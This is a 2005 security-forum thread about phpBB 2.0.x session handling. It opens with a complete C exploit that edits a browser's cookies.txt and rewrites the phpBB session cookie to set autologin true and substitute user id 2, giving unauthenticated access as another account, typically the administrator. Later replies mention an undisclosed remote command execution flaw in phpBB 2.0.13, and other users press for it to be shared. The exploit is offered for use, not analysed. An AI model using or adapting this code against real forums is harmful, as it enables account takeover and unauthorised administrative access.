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www.waraxe.us Forum Index -> PhpBB -> phpBB 2.0.x Session Handling exploit
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phpBB 2.0.x Session Handling exploit
PostPosted: Tue Mar 01, 2005 4:10 am Reply with quote
punkd
Beginner
Beginner
 
Joined: Feb 28, 2005
Posts: 3




/*
Author: Paisterist
Date: 28-02-05
[N]eo [S]ecurity [T]eam ?

Description: this exploit modify the user id that is in your
cookies.txt (Firefox and Mozilla) file.
You have to log in the forum, with the autologin option unchecked,
then you close the navigator and
execute the exploit.
If you have any problem with the exploit, remove all cookies and do all
again.

Note: you have to put the exploit in the same directory of cookies.txt.
This exploit overwrite all phpbb cookies that have the user id
specified.

I HAVE NOT DISCOVERED THIS VULNERABILITY, I DON'T KNOW WHO HAS
DISCOVERED IT.

By Paisterist

http://neosecurityteam.net
http://neosecurityteam.tk

Greetz: Hackzatan, Crashcool, Towner, Daemon21, Wokkko, Maxx,
Arcanhell, Alluz.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv[]) {
FILE *pointer;
char contenido[10000],

cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0
%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22",
cookief[9]="%22%3B%7D", cookiec[106],

cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb
%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D",
*pos;
int p=0, i=0;

if (argc!=2) {
printf("Usage: phpbb_exploit.exe user_id\n\n");
exit(0);
}
pointer=fopen("cookies.txt", "r");

if (pointer) {
fread(contenido, 300, 10, pointer);
fclose(pointer);
} else {
printf("The file can't be open\n");
exit(0);
}

strcpy(cookiec, cookie);
strncat(cookiec, argv[1], 6);
strcat(cookiec, cookief);

if (pos=strstr(contenido, cookiec)) {
p=pos - contenido;
while (i<92) {
if (cookie_false[i]!=NULL)
contenido[p]=cookie_false[i];
p++;
i++;
}
}
else {
printf("The file cookies.txt isn't valid for execute the
exploit or the user id is incorrect\n");
exit(0);
}

if (pointer=fopen("cookies.txt", "w")) {
fputs(contenido, pointer);
printf("Cookie modified: \n\n%s\n\n", contenido);
printf("The cookies file has overwriten... looks like the exploit has worked");
} else printf("\n\nThe file cookies.txt has not write permissions.");
return 0;
}
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PostPosted: Tue Mar 01, 2005 5:47 am Reply with quote
LINUX
Moderator
Moderator
 
Joined: May 24, 2004
Posts: 404
Location: Caiman




Confused te olvidates de mi men xD, original credits is for Heintz.


Now new remote command exec for phpbb 2.0.13 0 day. bad news for phpbbteam
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PostPosted: Tue Mar 01, 2005 4:15 pm Reply with quote
punkd
Beginner
Beginner
 
Joined: Feb 28, 2005
Posts: 3




where is the problem in .13?
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PostPosted: Tue Mar 01, 2005 8:23 pm Reply with quote
zer0-c00l
Advanced user
Advanced user
 
Joined: Jun 25, 2004
Posts: 72
Location: BRAZIL!




argentino wrote:
Confused te olvidates de mi men xD, original credits is for Heintz.


Now new remote command exec for phpbb 2.0.13 0 day. bad news for phpbbteam


post it to us Very Happy
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PostPosted: Wed Mar 02, 2005 1:10 am Reply with quote
funnay
Beginner
Beginner
 
Joined: Nov 26, 2004
Posts: 3




argentino: Did you at least submit the bug to phpBB's Security Tracker?
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PostPosted: Wed Mar 02, 2005 2:40 am Reply with quote
LINUX
Moderator
Moderator
 
Joined: May 24, 2004
Posts: 404
Location: Caiman




not is public sorry, is private, phpbbteam need check you source code for fix
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PostPosted: Wed Mar 02, 2005 9:13 pm Reply with quote
hebe
Advanced user
Advanced user
 
Joined: Sep 04, 2004
Posts: 59




could you give a hint only say which file is vulnerable Smile
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PostPosted: Thu Mar 03, 2005 12:10 pm Reply with quote
shai-tan
Valuable expert
Valuable expert
 
Joined: Feb 22, 2005
Posts: 477




Hey its going to leak eventually leave the man alone. Only noobs ask for the exploit because they dont yet have the brains to find it themselves and those who do get it from others, well they have good contacts. I'm not going to keep pestering people I'm just gunna look for it myself or wait. Wink

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
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phpBB 2.0.x Session Handling exploit
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